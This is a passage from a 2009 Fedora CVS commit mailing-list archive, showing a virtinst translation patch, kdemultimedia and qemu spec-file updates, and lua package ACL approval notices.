 - Removed custom patches after discussion with upstream and reviewers.
 - Moved what we thought was a config back to it's default location.



From crobinso at fedoraproject.org  Mon Oct  5 14:21:23 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Mon,  5 Oct 2009 14:21:23 +0000 (UTC)
Subject: rpms/python-virtinst/devel virtinst-0.500.0-more-translations.patch,
	NONE, 1.1 python-virtinst.spec, 1.73, 1.74
Message-ID: <20091005142123.05D0711C00DB@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/python-virtinst/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32403

Modified Files:
	python-virtinst.spec 
Added Files:
	virtinst-0.500.0-more-translations.patch 
Log Message:
Update translations (bz 493795)


virtinst-0.500.0-more-translations.patch:
 es.po | 1390 ++++++++++++++++++++++++------------------------------------------
 it.po |  556 ++++++--------------------
 pl.po |  581 ++++++++++++---------------
 3 files changed, 932 insertions(+), 1595 deletions(-)

--- NEW FILE virtinst-0.500.0-more-translations.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1254751649 14400
# Node ID 419a9fbd63b3f8d6b1d310c1eb2b2f09995311d2
# Parent  30700fede5b629cab255ffb000f79b230c0bbf27
Updated translations.

diff -r 30700fede5b6 -r 419a9fbd63b3 po/es.po
--- a/po/es.po	Mon Sep 28 14:13:35 2009 -0400
+++ b/po/es.po	Mon Oct 05 10:07:29 2009 -0400
@@ -1,67 +1,68 @@
+# translation of virt-inst.tip.es.po to Spanish
 # Fedora Spanish Translation of virtinst.
 # This file is distributed under the same license as the virtinst package.
 #
+#
 # H?ctor Daniel Cabrera <h.daniel.cabrera at gmail.com>, 2009.
-#
+# Gladys Guerrero Lozano <gguerrer at redhat.com>, 2009.
 msgid ""
 msgstr ""
-"Project-Id-Version: Fedora Spanish Translation of virtinst\n"
+"Project-Id-Version: virt-inst.tip.es\n"
 "Report-Msgid-Bugs-To: \n"
 "POT-Creation-Date: 2009-07-28 20:34-0400\n"
-"PO-Revision-Date: 2009-01-20 13:06-0300\n"
-"Last-Translator: h?ctor daniel cabrera <h.daniel.cabrera at gmail.com>\n"
+"PO-Revision-Date: 2009-08-21 10:48-0300\n"
+"Last-Translator: Domingo Becker <domingobecker at gmail.com>\n"
 "Language-Team: Fedora Spanish <fedora-trans-es at redhat.com>\n"
 "MIME-Version: 1.0\n"
 "Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"X-Poedit-Language: Spanish\n"
 
 #: virtinst/CapabilitiesParser.py:172
-#, fuzzy, python-format
+#, python-format
 msgid "No domains available for virt type '%(type)s', arch %(arch)s."
-msgstr "No existen dominios disponibles para este hu?sped."
+msgstr "No existen dominios disponibles para '%(type)s', arquitectura %(arch)s de virtualizaci?n."
 
 #: virtinst/CapabilitiesParser.py:412
 #, python-format
 msgid "for arch '%s'"
-msgstr "para arq '%s'"
+msgstr "para arquitectura '%s'"
 
 #: virtinst/CapabilitiesParser.py:416
-#, fuzzy, python-format
+#, python-format
 msgid "virtualization type '%s'"
 msgstr "Tipo de virtualizaci?n '%s' no soportada"
 
 #: virtinst/CapabilitiesParser.py:418
-#, fuzzy
 msgid "any virtualization options"
-msgstr "Opciones del Tipo de Virtualizaci?n"
+msgstr "Opciones de Virtualizaci?n"
 
 #: virtinst/CapabilitiesParser.py:420
 #, python-format
 msgid "Host does not support %(virttype)s %(arch)s"
-msgstr ""
+msgstr "El host no soporta %(virttype)s %(arch)s"
 
 #: virtinst/CapabilitiesParser.py:433
 #, python-format
-msgid ""
-"Host does not support domain type '%(domain)s' for virtualization type '%"
-"(virttype)s' arch '%(arch)s'"
-msgstr ""
+msgid "Host does not support domain type '%(domain)s' for virtualization type '%(virttype)s' arch '%(arch)s'"
+msgstr "El host no soporta tipo de dominio '%(domain)s' para tipo de virtualizaci?n '%(virttype)s' arch '%(arch)s'"
 
 #: virtinst/cli.py:152
 msgid "Exiting at user request."
-msgstr "Saliendo a pedido del usuario."
+msgstr "Salida a petici?n del usuario."
 
 #: virtinst/cli.py:159
 msgid "Must be root to create Xen guests"
-msgstr "Debe ser root para poder crear un hu?sped Xen"
+msgstr "Se debe ser root para poder crear un hu?sped Xen"
 
 #: virtinst/cli.py:297
 msgid "(use --prompt to run interactively)"
-msgstr ""
+msgstr "(use --prompt para ejecutar de modo interactivo)"
 
 #: virtinst/cli.py:317
 msgid " (Use --prompt or --force to override)"
-msgstr ""
+msgstr " (Use --prompt o --force para sobrescribir)"
 
 #: virtinst/cli.py:352
 msgid "Graphics Configuration"
@@ -77,12 +78,11 @@
 
 #: virtinst/cli.py:358
 msgid "Address to listen on for VNC connections."
-msgstr ""
+msgstr "Direcci?n para escuchar conexiones VNC"
 
 #: virtinst/cli.py:361
-#, fuzzy
 msgid "set up keymap for the VNC console"
-msgstr "define un mapa de teclado para una consola gr?fica"
+msgstr "definir un mapa de teclado para la consola VNC"
 
 #: virtinst/cli.py:363
 msgid "Use SDL for graphics support"
@@ -90,42 +90,37 @@
 
 #: virtinst/cli.py:365
 msgid "Don't set up a graphical console for the guest."
-msgstr "No configura una consola gr?fica para el hu?sped."
+msgstr "No configurar una consola gr?fica para el hu?sped."
 
 #: virtinst/cli.py:388
-#, fuzzy
 msgid "A disk path must be specified."
-msgstr "Se debe especificar, o bien grupo, o bien pool_name."
+msgstr "Se debe especificar la ruta de disco."
 
 #: virtinst/cli.py:390
-#, fuzzy
 msgid "What would you like to use as the disk (file path)?"
-msgstr "?Qu? (ruta de archivo) le gustar?a utilizar para el disco clonado?"
+msgstr "?Qu? (ruta de archivo) le gustar?a utilizar para el disco?"
 
 #: virtinst/cli.py:392
 #, python-format
-msgid ""
-"Please enter the path to the file you would like to use for storage. It will "
-"have size %sGB."
-msgstr ""
+msgid "Please enter the path to the file you would like to use for storage. It will have size %sGB."
+msgstr "Por favor entre la ruta al archivo en el que desea guardar la informaci?n. Tendr? un tama?o de %sGB."
 
 #: virtinst/cli.py:401
-#, fuzzy
 msgid "A size must be specified for non-existent disks."
-msgstr "Un tama?o debe ser especificado para rutas no existentes: '%s'"
+msgstr "Se debe especificar el tama?o para discos no existentes."
 
 #: virtinst/cli.py:403
 #, python-format
 msgid "How large would you like the disk (%s) to be (in gigabytes)?"
-msgstr ""
+msgstr "?Qu? tan grande le gustar?a que fuera el disco (%s) en GB?"
 
-#: virtinst/cli.py:424 virt-install:274
+#: virtinst/cli.py:424
+#: virt-install:274
 #, python-format
 msgid "Error with storage parameters: %s"
 msgstr "Error en los par?metros de almacenamiento: %s"
 
 #: virtinst/cli.py:426
-#, fuzzy
 msgid "Do you really want to use this disk (yes or no)"
 msgstr "?Realmente quiere utilizar este disco (si o no)?"
 
@@ -140,9 +135,8 @@
 msgstr "?El disco %s ya est? siendo utilizado por otro hu?sped!\n"
 
 #: virtinst/cli.py:464
-#, fuzzy
 msgid "What is the name of your virtual machine?"
-msgstr "?Cu?l es el nombre de la m?quina virtual clonada?"
+msgstr "?Cu?l es el nombre de la m?quina virtual?"
 
 #: virtinst/cli.py:465
 msgid "A name is required for the virtual machine."
@@ -150,7 +144,7 @@
 
 #: virtinst/cli.py:472
 msgid "How much RAM should be allocated (in megabytes)?"
-msgstr ""
+msgstr "?Cu?nta RAM deber?a ser asignada en MB?"
 
 #: virtinst/cli.py:473
 msgid "Memory amount is required for the virtual machine."
@@ -159,34 +153,29 @@
 #: virtinst/cli.py:477
 #, python-format
 msgid "Installs currently require %d megs of RAM."
-msgstr "La instalaci?n actualmente requiere %d megas de RAM."
+msgstr "La instalaci?n actualmente requiere %d MB de RAM."
 
 #: virtinst/cli.py:498
-#, fuzzy, python-format
-msgid ""
-"You have asked for more virtual CPUs (%d) than there are physical CPUs (%d) "
-"on the host. This will work, but performance will be poor. "
-msgstr ""
-"Ha pedido m?s CPUs virtuales (%d) que los CPUs f?sicos (%d) en el anfitri?n. "
[...5003 lines suppressed...]
@@ -2137,10 +2136,14 @@
 "--disk path=/my/new/disk,size=5 (in gigabytes)\n"
 "--disk vol=poolname:volname,device=cdrom,bus=scsi,..."
 msgstr ""
+"Nale?y poda? pami?? masow? za pomoc? r??nych opcji. Np.:\n"
+"--disk path=/m?j/istniej?cy/dysk\n"
+"--disk path=/m?j/nowy/dysk,size=5 (w gigabajtach)\n"
+"--disk vol=nazwa_puli:nazwa_woluminu,device=cdrom,bus=scsi,..."
 
 #: virt-install:596
 msgid "Don't set up any disks for the guest."
-msgstr "Nie ustawiaj ?adnych dysk?w dla go?cia."
+msgstr "Nie ustawia ?adnych dysk?w dla go?cia."
 
 #: virt-install:613
 msgid ""
@@ -2149,22 +2152,26 @@
 "--network network=my_libvirt_virtual_net\n"
 "--network network=mynet,model=virtio,mac=00:11..."
 msgstr ""
+"Nale?y poda? interfejs sieciowy. Np.:\n"
+"--network bridge=m?j_mostek0\n"
+"--network network=moja_wirtualna_sie?_libvirt\n"
+"--network network=moja_sie?,model=virtio,mac=00:11..."
 
 #: virt-install:618
 msgid "Don't create network interfaces for the guest."
-msgstr "Nie tw?rz interfejs?w sieciowych dla go?cia."
+msgstr "Nie tworzy interfejs?w sieciowych dla go?cia."
 
 #: virt-install:632
 msgid "Specify video hardware type."
-msgstr ""
+msgstr "Podaje typ sprz?tu graficznego."
 
 #: virt-install:635
 msgid "Don't automatically try to connect to the guest console"
-msgstr "Nie pr?buj automatycznie ??czy? si? z konsol? go?cia"
+msgstr "Nie pr?buje automatycznie ??czy? si? z konsol? go?cia"
 
 #: virt-install:643
 msgid "Disables the automatic rebooting when the installation is complete."
-msgstr "Wy??cza automatyczne ponowne uruchamianie po zako?czeniu instalacji."
+msgstr "Wy??cza automatyczne ponowne uruchamianie po uko?czeniu instalacji."
 
 #: virt-install:646
 msgid "Time to wait (in minutes)"
@@ -2174,15 +2181,15 @@
 msgid "Forces 'yes' for any applicable prompts, terminates for all others"
 msgstr ""
 "Wymusza \"tak\" tam, gdzie to mo?liwe, ko?czy prac? przy wszystkich innych "
-"pro?bach"
+"??daniach"
 
 #: virt-install:671
 msgid ""
 "Unable to connect to graphical console: virt-viewer not installed. Please "
 "install the 'virt-viewer' package."
 msgstr ""
-"Nie mo?na po??czy? si? z konsol? graficzn?: nie zainstalowano virt-viewer. "
-"Zainstaluj pakiet \"virt-viewer\"."
+"Nie mo?na po??czy? si? z konsol? graficzn?: nie zainstalowano pakietu "
+"virt-viewer. Prosz? zainstalowa? pakiet \"virt-viewer\"."
 
 #: virt-install:713
 msgid "Can't use --pxe with --nonetworks"
@@ -2207,9 +2214,9 @@
 " restart your installation."
 msgstr ""
 "Instalacja domeny chyba nie powiod?a si?. Je?li jednak\n"
-" powiod?a si?, mo?esz ponownie uruchomi? domen?\n"
-" uruchamiaj?c \"virsh start %s\"; w innym przypadku\n"
-" uruchom ponownie instalacj?."
+" powiod?a si?, mo?na ponownie uruchomi? domen?\n"
+" wykonuj?c \"virsh start %s\"; w innym przypadku\n"
+" prosz? ponownie uruchomi? instalacj?."
 
 #: virt-install:840
 #, python-format
@@ -2217,12 +2224,12 @@
 "Guest installation complete... you can restart your domain\n"
 "by running 'virsh start %s'"
 msgstr ""
-"Instalacja go?cia zosta?a zako?czona... Mo?na ponownie\n"
+"Instalacja go?cia zosta?a uko?czona... Mo?na ponownie\n"
 "uruchomi? domen? wykonuj?c \"virsh start %s\""
 
 #: virt-install:844
 msgid "Guest installation complete... restarting guest."
-msgstr "Instalacja go?cia zosta?a zako?czona... Ponowne uruchamianie go?cia."
+msgstr "Instalacja go?cia zosta?a uko?czona... Ponowne uruchamianie go?cia."
 
 #: virt-install:850
 msgid "Guest install interrupted."
@@ -2237,9 +2244,9 @@
 " restart your installation."
 msgstr ""
 "Instalacja domeny chyba si? nie powiod?a. Je?li jednak\n"
-" powiod?a si?, mo?esz ponownie uruchomi? domen?\n"
-" uruchamiaj?c \"virsh start %s\"; w innym przypadku\n"
-" uruchom ponownie instalacj?."
+" powiod?a si?, mo?na ponownie uruchomi? domen?\n"
+" wykonuj?c \"virsh start %s\"; w innym przypadku\n"
+" prosz? ponownie uruchomi? instalacj?."
 
 #: virt-install:883
 msgid "Guest installation failed."
@@ -2251,13 +2258,12 @@
 msgstr "%d minuty "
 
 #: virt-install:895
-#, fuzzy, python-format
+#, python-format
 msgid ""
 "Domain installation still in progress. Waiting %sfor installation to "
 "complete."
 msgstr ""
-"Wci?? trwa instalacja domeny. Oczekiwanie %s na domen?, aby zako?czy? "
-"instalacj?."
+"Wci?? trwa instalacja domeny. Oczekiwanie %s na uko?czenie instalacji."
 
 #: virt-install:901
 msgid "Domain has shutdown. Continuing."
@@ -2271,73 +2277,12 @@
 #: virt-install:915
 msgid "Installation has exceeded specified time limit. Exiting application."
 msgstr ""
-"Instalacja przekroczy?a podane ograniczenie czasu. Zamykanie aplikacji."
+"Instalacja przekroczy?a podane ograniczenie czasu. Ko?czenie pracy aplikacji."
 
 #: virt-install:921
 msgid ""
 "Domain installation still in progress. You can reconnect to \n"
 "the console to complete the installation process."
 msgstr ""
-"Trwa instalacja domeny. Mo?esz ponownie po??czy? si? z \n"
-"konsol?, aby zako?czy? proces instalacji."
-
-#~ msgid "Could not find usable default libvirt connection."
-#~ msgstr "Nie mo?na znale?? u?ywalnego domy?lnego po??czenia libvirt."
-
-#~ msgid "Unknown network type "
-#~ msgstr "Nieznany typ sieci "
-
-#~ msgid "Need to pass equal numbers of networks & mac addresses"
-#~ msgstr "Nale?y poda? r?wn? liczb? sieci i adres?w MAC"
-
-#~ msgid "Cannot clone remote VM storage."
-#~ msgstr "Nie mo?na sklonowa? pami?ci masowej zdalnej maszyny wirtualnej."
-
-#~ msgid "Missing path to use as disk clone destination for '%s'"
-#~ msgstr "Brak ?cie?ki do u?ycia jako celu klonowania dysku dla \"%s\""
-
-#~ msgid "Could not determine storage type for '%s'"
-#~ msgstr "Nie mo?na ustali? typu pami?ci masowej dla \"%s\""
-
-#~ msgid "Disk volume creation is not implemented."
-#~ msgstr "Tworzenie wolumin?w dysku nie jest zaimplementowane."
-
-#~ msgid ""
-#~ "Bridge to connect guest NIC to; if none given, will try to determine the "
-#~ "default"
-#~ msgstr ""
-#~ "Mostek do ??czenia NIC go?cia; je?li ?aden nie zostanie podany, spr?buje "
-#~ "ustali? domy?lny"
-
-#~ msgid ""
-#~ "Connect the guest to a virtual network, forwarding to the physical "
-#~ "network with NAT"
-#~ msgstr ""
-#~ "Po??cz go?cia z sieci? wirtualn?, przekazywan? do sieci fizycznej za "
-#~ "pomoc? NAT"
-
-#~ msgid ""
-#~ "Fixed MAC address for the guest; if none or RANDOM is given a random "
-#~ "address will be used"
-#~ msgstr ""
-#~ "Sta?y adres MAC dla go?cia; je?li ?aden nie zostanie podany lub podasz "
-#~ "RANDOM, u?yty zostanie losowy adres"
-
-#~ msgid "Use kernel acceleration capabilities (kvm, kqemu, ...)"
-#~ msgstr "U?yj mo?liwo?ci akceleracji j?dra (kvm, kqemu...)"
-
-#~ msgid "Specify storage to use as a disk with various options."
-#~ msgstr "Podaj pami?? masow? u?yt? jako dysk za pomoc? r??nych opcji."
-
-#~ msgid "File to use as the disk image"
-#~ msgstr "U?ycie obrazu dysku nie powiod?o si?"
-
-#~ msgid "Size of the disk image (if it doesn't exist) in gigabytes"
-#~ msgstr "Rozmiar obrazu dysku (je?li nie istnieje) w gigabajtach"
-
-#~ msgid ""
-#~ "Don't use sparse files for disks.  Note that this will be significantly "
-#~ "slower for guest creation"
-#~ msgstr ""
-#~ "Nie u?ywaj plik?w sparse dla dysk?w. Zauwa?, ?e znacznie spowolni to "
-#~ "tworzenie go?cia"
+"Trwa instalacja domeny. Mo?na ponownie po??czy? si? z \n"
+"konsol?, aby uko?czy? proces instalacji."


Index: python-virtinst.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-virtinst/devel/python-virtinst.spec,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- python-virtinst.spec	24 Sep 2009 13:55:17 -0000	1.73
+++ python-virtinst.spec	5 Oct 2009 14:21:22 -0000	1.74
@@ -17,7 +17,7 @@
 Summary: Python modules and utilities for installing virtual machines
 Name: python-%{appname}
 Version: 0.500.0
-Release: 4%{_extra_release}
+Release: 5%{_extra_release}
 Source0: http://virt-manager.org/download/sources/%{appname}/%{appname}-%{version}.tar.gz
 # Don't erroneously set limit for amount of virtio devices (bz 499654)
 Patch1: %{appname}-%{version}-virtio-dev-limit.patch
@@ -39,6 +39,8 @@ Patch8: %{appname}-%{version}-nonroot-qe
 Patch9: %{appname}-%{version}-no-iso-driver.patch
 # Fix path permissions for kernel/initrd download location (bz 523960)
 Patch10: %{appname}-%{version}-change-path-perms.patch
+# Update translations (bz 493795)
+Patch11: %{appname}-%{version}-more-translations.patch
 
 License: GPLv2+
 Group: Development/Libraries
@@ -76,6 +78,7 @@ and install new VMs) and virt-clone (clo
 %patch8 -p1
 %patch9 -p1
 %patch10 -p1
+%patch11 -p1
 
 %build
 python setup.py build
@@ -111,6 +114,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/virt-convert
 
 %changelog
+* Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.500.0-5.fc12
+- Update translations (bz 493795)
+
 * Thu Sep 24 2009 Cole Robinson <crobinso at redhat.com> - 0.500.0-4.fc12
 - Don't use usermode net for non-root qemu:///system via virt-install
 - Fix cdrom installs where the iso is a storage volume (bz 524109)



From than at fedoraproject.org  Mon Oct  5 14:22:21 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 14:22:21 +0000 (UTC)
Subject: rpms/kdemultimedia/devel .cvsignore, 1.69, 1.70 kdemultimedia.spec, 
	1.156, 1.157 sources, 1.70, 1.71
Message-ID: <20091005142221.083C211C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdemultimedia/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32706

Modified Files:
	.cvsignore kdemultimedia.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/devel/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	1 Sep 2009 17:48:26 -0000	1.69
+++ .cvsignore	5 Oct 2009 14:22:20 -0000	1.70
@@ -1 +1,2 @@
 kdemultimedia-4.3.1.tar.bz2
+kdemultimedia-4.3.2.tar.bz2


Index: kdemultimedia.spec
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/devel/kdemultimedia.spec,v
retrieving revision 1.156
retrieving revision 1.157
diff -u -p -r1.156 -r1.157
--- kdemultimedia.spec	2 Sep 2009 20:21:23 -0000	1.156
+++ kdemultimedia.spec	5 Oct 2009 14:22:20 -0000	1.157
@@ -1,6 +1,6 @@
 Name: kdemultimedia
 Epoch: 6
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: K Desktop Environment - Multimedia applications
 
@@ -165,6 +165,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/devel/sources,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- sources	28 Aug 2009 14:38:53 -0000	1.70
+++ sources	5 Oct 2009 14:22:20 -0000	1.71
@@ -1 +1 @@
-e9a74626bc7eec8496ff9157e65025da  kdemultimedia-4.3.1.tar.bz2
+c32305e0d17198387a495e75f3d844ac  kdemultimedia-4.3.2.tar.bz2



From markmc at fedoraproject.org  Mon Oct  5 14:26:45 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 14:26:45 +0000 (UTC)
Subject: rpms/qemu/F-12 qemu.spec,1.137,1.138
Message-ID: <20091005142645.BEC7711C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2165

Modified Files:
	qemu.spec 
Log Message:
* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-4
- Use rtl8029 PXE rom for ne2k_pci, not ne (#526777)
- Also, replace the gpxe-roms-qemu pkg requires with file-based requires



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu.spec,v
retrieving revision 1.137
retrieving revision 1.138
diff -u -p -r1.137 -r1.138
--- qemu.spec	1 Oct 2009 22:38:01 -0000	1.137
+++ qemu.spec	5 Oct 2009 14:26:45 -0000	1.138
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 3%{?dist}
+Release: 4%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -131,11 +131,15 @@ This package provides the user mode emul
 Summary: QEMU system emulator for x86
 Group: Development/Tools
 Requires: %{name}-common = %{epoch}:%{version}-%{release}
-Requires: gpxe-roms-qemu
-Requires: vgabios
-Requires: bochs-bios >= 2.3.8-0.8
 Provides: kvm = 85
 Obsoletes: kvm < 85
+Requires: vgabios
+Requires: bochs-bios >= 2.3.8-0.8
+Requires: /usr/share/gpxe/e1000-0x100e.rom
+Requires: /usr/share/gpxe/rtl8029.rom
+Requires: /usr/share/gpxe/pcnet32.rom
+Requires: /usr/share/gpxe/rtl8139.rom
+Requires: /usr/share/gpxe/virtio-net.rom
 
 %description system-x86
 QEMU is a generic and open source processor emulator which achieves a good
@@ -359,7 +363,7 @@ pxe_link() {
 }
 
 pxe_link e1000 e1000-0x100e
-pxe_link ne2k_pci ne
+pxe_link ne2k_pci rtl8029
 pxe_link pcnet pcnet32
 pxe_link rtl8139 rtl8139
 pxe_link virtio virtio-net
@@ -530,6 +534,10 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-4
+- Use rtl8029 PXE rom for ne2k_pci, not ne (#526777)
+- Also, replace the gpxe-roms-qemu pkg requires with file-based requires
+
 * Thu Oct  1 2009 Justin M. Forbes <jmforbes at redhat.com> - 2:0.11.0-3
 - Improve error reporting on file access (#524695)
 



From markmc at fedoraproject.org  Mon Oct  5 14:27:23 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 14:27:23 +0000 (UTC)
Subject: rpms/qemu/devel qemu.spec,1.137,1.138
Message-ID: <20091005142723.5646E11C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2365

Modified Files:
	qemu.spec 
Log Message:
* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-4
- Use rtl8029 PXE rom for ne2k_pci, not ne (#526777)
- Also, replace the gpxe-roms-qemu pkg requires with file-based requires



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu.spec,v
retrieving revision 1.137
retrieving revision 1.138
diff -u -p -r1.137 -r1.138
--- qemu.spec	1 Oct 2009 22:34:54 -0000	1.137
+++ qemu.spec	5 Oct 2009 14:27:23 -0000	1.138
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 3%{?dist}
+Release: 4%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -131,11 +131,15 @@ This package provides the user mode emul
 Summary: QEMU system emulator for x86
 Group: Development/Tools
 Requires: %{name}-common = %{epoch}:%{version}-%{release}
-Requires: gpxe-roms-qemu
-Requires: vgabios
-Requires: bochs-bios >= 2.3.8-0.8
 Provides: kvm = 85
 Obsoletes: kvm < 85
+Requires: vgabios
+Requires: bochs-bios >= 2.3.8-0.8
+Requires: /usr/share/gpxe/e1000-0x100e.rom
+Requires: /usr/share/gpxe/rtl8029.rom
+Requires: /usr/share/gpxe/pcnet32.rom
+Requires: /usr/share/gpxe/rtl8139.rom
+Requires: /usr/share/gpxe/virtio-net.rom
 
 %description system-x86
 QEMU is a generic and open source processor emulator which achieves a good
@@ -359,7 +363,7 @@ pxe_link() {
 }
 
 pxe_link e1000 e1000-0x100e
-pxe_link ne2k_pci ne
+pxe_link ne2k_pci rtl8029
 pxe_link pcnet pcnet32
 pxe_link rtl8139 rtl8139
 pxe_link virtio virtio-net
@@ -530,6 +534,10 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-4
+- Use rtl8029 PXE rom for ne2k_pci, not ne (#526777)
+- Also, replace the gpxe-roms-qemu pkg requires with file-based requires
+
 * Thu Oct  1 2009 Justin M. Forbes <jmforbes at redhat.com> - 2:0.11.0-3
 - Improve error reporting on file access (#524695)
 



From pkgdb at fedoraproject.org  Mon Oct  5 14:29:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 14:29:59 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091005142959.80EBE10F88E@bastion2.fedora.phx.redhat.com>

rmyers has set the watchbugzilla acl on lua (Fedora EPEL 4) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Mon Oct  5 14:29:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 14:29:59 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091005142959.C502510F894@bastion2.fedora.phx.redhat.com>

rmyers has set the watchcommits acl on lua (Fedora EPEL 4) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Mon Oct  5 14:30:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 14:30:02 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091005143002.ABDD310F8A4@bastion2.fedora.phx.redhat.com>

rmyers has set the approveacls acl on lua (Fedora EPEL 4) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Mon Oct  5 14:30:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 14:30:00 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091005143000.E93E510F8A1@bastion2.fedora.phx.redhat.com>

rmyers has set the commit acl on lua (Fedora EPEL 4) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Mon Oct  5 14:30:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 14:30:04 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091005143004.CA80710F8A9@bastion2.fedora.phx.redhat.com>

rmyers has set the watchbugzilla acl on lua (Fedora EPEL 5) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Mon Oct  5 14:30:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 14:30:06 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091005143006.409D410F8AD@bastion2.fedora.phx.redhat.com>

rmyers has set the watchcommits acl on lua (Fedora EPEL 5) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Mon Oct  5 14:30:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 14:30:08 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091005143008.86A5A10F88F@bastion2.fedora.phx.redhat.com>

rmyers has set the commit acl on lua (Fedora EPEL 5) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Mon Oct  5 14:30:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 14:30:09 +0000
Subject: [pkgdb] lua had acl change status
Message-ID: <20091005143009.5EBEE10F8B3@bastion2.fedora.phx.redhat.com>

rmyers has set the approveacls acl on lua (Fedora EPEL 5) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua



From than at fedoraproject.org  Mon Oct  5 14:32:52 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 14:32:52 +0000 (UTC)
Subject: rpms/kdenetwork/F-12 kdenetwork.spec,1.200,1.201
Message-ID: <20091005143252.9932911C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdenetwork/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3973

Modified Files:
	kdenetwork.spec 
Log Message:
rhel cleanup



Index: kdenetwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/F-12/kdenetwork.spec,v
retrieving revision 1.200
retrieving revision 1.201
diff -u -p -r1.200 -r1.201
--- kdenetwork.spec	27 Sep 2009 21:27:44 -0000	1.200
+++ kdenetwork.spec	5 Oct 2009 14:32:52 -0000	1.201
@@ -2,7 +2,7 @@ Summary: K Desktop Environment - Network
 Name: kdenetwork
 Epoch: 7
 Version: 4.3.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
